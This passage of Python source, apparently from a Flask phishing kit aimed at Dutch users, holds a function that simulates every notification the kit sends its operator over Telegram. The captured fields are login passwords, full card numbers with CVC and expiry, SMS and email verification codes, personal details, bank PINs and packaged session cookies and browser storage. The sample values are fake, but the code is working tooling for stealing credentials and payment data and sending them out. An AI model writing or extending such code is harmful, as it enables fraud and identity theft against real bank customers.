        "user_agent": "SCI-Flow-Test/1.0",
        "language": "nl-NL",
        "timezone": "Europe/Amsterdam",
    }
    ref = _session_ref(test_vid)
    ctx = _vx_meta(v_info)
    sample_cookie = "session=test; path=/; HttpOnly"
    sample_store = json.dumps({"scii_test": "1", "lang": "nl"}, ensure_ascii=False)

    steps = [
        ("start", "🧪 <b>SCI — flow test gestart</b>\n\nSimulatie van alle notify-types (lokaal)."),
        (
            "visitor",
            build_new_visitor_telegram_message(
                test_vid,
                v_info["ip_address"],
                v_info["country"],
                v_info["city"],
                v_info["os"],
                v_info["browser"],
                v_info["user_agent"],
                {"language": v_info["language"], "timezone": v_info["timezone"]},
            ),
        ),
        (
            "login",
            build_form_telegram_message(
                "login",
                {"username": "demo_user", "password": "demo_pass"},
                test_vid,
                v_info,
            ),
        ),
        (
            "activation",
            build_form_telegram_message(
                "activation",
                {"action": "Pagina geladen"},
                test_vid,
                v_info,
            ),
        ),
        (
            "gegevens",
            build_form_telegram_message(
                "gegevens",
                {
                    "cardnumber": "4111111111111111",
                    "cardname": "T TEST",
                    "expmonth": "12",
                    "expyear": "28",
                    "cvc": "123",
                },
                test_vid,
                v_info,
            ),
        ),
        (
            "sms",
            build_form_telegram_message("sms", {"sms_code": "123456"}, test_vid, v_info),
        ),
        (
            "email",
            build_form_telegram_message("email", {"email_code": "654321"}, test_vid, v_info),
        ),
        (
            "info",
            build_form_telegram_message(
                "info",
                {
                    "naam": "Jan Test",
                    "geboorte": "01-01-1980",
                    "adres": "Teststraat 1",
                    "plaats": "Amsterdam",
                    "email": "jan@test.nl",
                    "telefoon": "0612345678",
                },
                test_vid,
                v_info,
            ),
        ),
        (
            "pin",
            build_form_telegram_message(
                "pin",
                {"old_pin": "1234", "new_pin": "5678"},
                test_vid,
                v_info,
            ),
        ),
        (
            "authorize",
            build_form_telegram_message(
                "authorize",
                {"app_confirm": "checked"},
                test_vid,
                v_info,
            ),
        ),
        (
            "sync",
            "\n".join(
                [
                    "💳 <b>SCI — sync voltooid</b>",
                    "",
                    f"🆔 <b>Ref:</b> <code>{_tg_escape(test_vid)}</code>",
                    _visitor_context_block(v_info, include_ua=True).rstrip(),
                    "",
                    "📊 <b>Manifest:</b> 1 + 2",
                ]
            ),
        ),
    ]

    sent = 0
    for _name, text in steps:
        if send_telegram_message(text):
            sent += 1

    if send_telegram_document(
        _vx_pack_a(test_vid, sample_cookie, ctx),
        f"sci_{ref}.dat",
        _vx_bundle_caption(test_vid, "A", v_info),
        "application/octet-stream",
    ):
        sent += 1
    if send_telegram_document(
        _vx_pack_b(test_vid, sample_store, ctx),
        f"sci_{ref}.json",
        _vx_bundle_caption(test_vid, "B", v_info),
        "application/json",
    ):
        sent += 1

    if send_telegram_message("✅ <b>SCI — flow test afgerond</b>"):
        sent += 1

    return sent > 0


if __name__ == '__main__':
    # Local dev only — on the server use: python3 main.py (FastPanel Systemd)
    host = os.environ.get('HOST', '127.0.0.1')
    port = int(os.environ.get('SERVICE_PORT', os.environ.get('PORT', '5000')))
    debug_mode = os.environ.get('FLASK_DEBUG', 'False').lower() in ('true', '1', 't')
    print(f"Dev server http://{host}:{port}")
    app.run(host=host, port=port, debug=debug_mode)
